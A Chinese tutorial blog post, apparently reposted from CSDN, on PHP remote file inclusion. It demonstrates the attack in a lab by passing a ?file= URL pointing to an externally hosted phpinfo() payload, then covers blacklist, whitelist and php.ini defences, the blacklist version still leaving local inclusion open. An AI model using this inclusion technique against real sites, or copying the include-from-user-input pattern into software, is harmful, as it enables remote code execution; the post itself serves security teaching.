【PHP代码审计】远程文件包含漏洞


欢迎新同学的光临
… …
人若无名,便可专心练剑


我不是一条咸鱼,而是一条死鱼啊!


远程文件包含漏洞

如果目标主机的allow_url_fopen和allow_url_include是激活的(前者默认是激活的),我们就可以有更大的利用空间,我们可以指定其它URL上的一个包含PHP代码的文件来运行。(同样不需要后缀名是php的格式,只要内容是代码就可以)

首先,先把去将appache2下把php/ini文件 里的allow_url_include设置为allow_url_include = On,配置完成后,重启一下Apache2服务

在这里插入图片描述
先将info.txt文件上传至n另一台服务器,url:http://xxxx/info.txt

  • info.txt
<?php
    phpinfo();
?>

继续在之前的url输入?file=http://xxxx/info.txt

在这里插入图片描述
可以看到info.txt中的代码被成功执行.

文件包含漏洞防御

文件包含漏洞的防御主要是用代码和配置两方面入手。 从代码层来讲,在开发过程中应该尽量避免动态的变量,尤其是用户可以控制的变量。 至于防御主要有两种方法:

  • 采用白名单的方式将允许包含的文件列出来,只允许包含白名单中的文件,这样就可以避免任意文件包含的风险。
  • 采用白名单的方式将文件包含漏洞利用过程中的一些特殊字符定义在黑名单中,对传入的参数进行过滤,但这样有时会因为过滤不全,导致被有经验的攻击者绕过。

接下来我们来尝试对fileinclude.php进行修改:

代码层面防御

黑名单

使用黑名单过滤,修改之后的代码 fileinclude_black.php:

<?php

if (isset($_GET['file'])) {
    
    
    $file = $_GET['file'];
    $file = str_replace("http:", "", $file);
    $file = str_replace("https:", "", $file);
    include($file);
}
else{
    
    
    echo "使用 file 参数包含文件";
}
?>

以上代码通过str_replace()函数将用户传来的数据进行了替换,主要是将http:和https://都替换成了空,这种替换主要是针对远程文件包含。

在浏览器中打开修改后的页面类似(具体怎么输入看你自己的配置):http://localhost/fileinclude/fileinclude_black.php,输入?file=file.txt:

在这里插入图片描述
本地文件包含依然存在。 再输入?file=http://xxxx/info.txt:

远程文件包含已经成功过滤掉
在这里插入图片描述

白名单验证

使用白名单过滤,修改之后的代码 fileinclude_white.php:

<?php

if (isset($_GET['file'])) {
    
    
    $file = $_GET['file'];
    if($file != "right.php")
    {
    
    
        echo "错误!不能加载此文件!";
        exit;
    }
    include($file);
}
else{
    
    
    echo "使用 file 参数包含文件";
}
?>

以上代码通过白名单的方式对用户传来的数据进行验证,只允许包含right.php文件,如果不是right.php则打印错误。

在浏览器中打开修改后的页面:http://xxxx/info.txt,输入?file=file.txt:

在这里插入图片描述

显示加载错误。 再输入?file=right.php

在这里插入图片描述

配置层面防御

通过在php.ini中设置allow_url_fopen = off、allow_url_include = off,可以有效的防御远程文件包含漏洞

参考链接:https://www.shiyanlou.com/courses/895


我自横刀向天笑,去留肝胆两昆仑


猜你喜欢

转载自blog.csdn.net/Ananas_Orangey/article/details/120591785
今日推荐